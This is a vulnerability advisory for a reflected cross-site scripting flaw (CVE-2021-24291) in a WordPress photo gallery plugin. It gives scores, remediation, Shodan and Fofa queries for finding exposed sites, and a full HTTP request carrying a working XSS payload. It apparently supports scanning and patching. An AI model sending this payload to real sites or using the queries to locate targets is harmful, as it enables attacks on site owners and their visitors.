| Title | WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update WordPress Photo Gallery by 10Web to version 1.5.69 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.14622 |
| CVE ID | CVE-2021-24291 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/photo-gallery |
| Fofa Query | body=/wp-content/plugins/photo-gallery |
| Tags | cve2021 cve photo wpscan packetstorm xss wordpress wp-plugin 10web vuln |
WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action, available to both unauthenticated and authenticated users.
GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24291.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24291.pcap
N/AN/A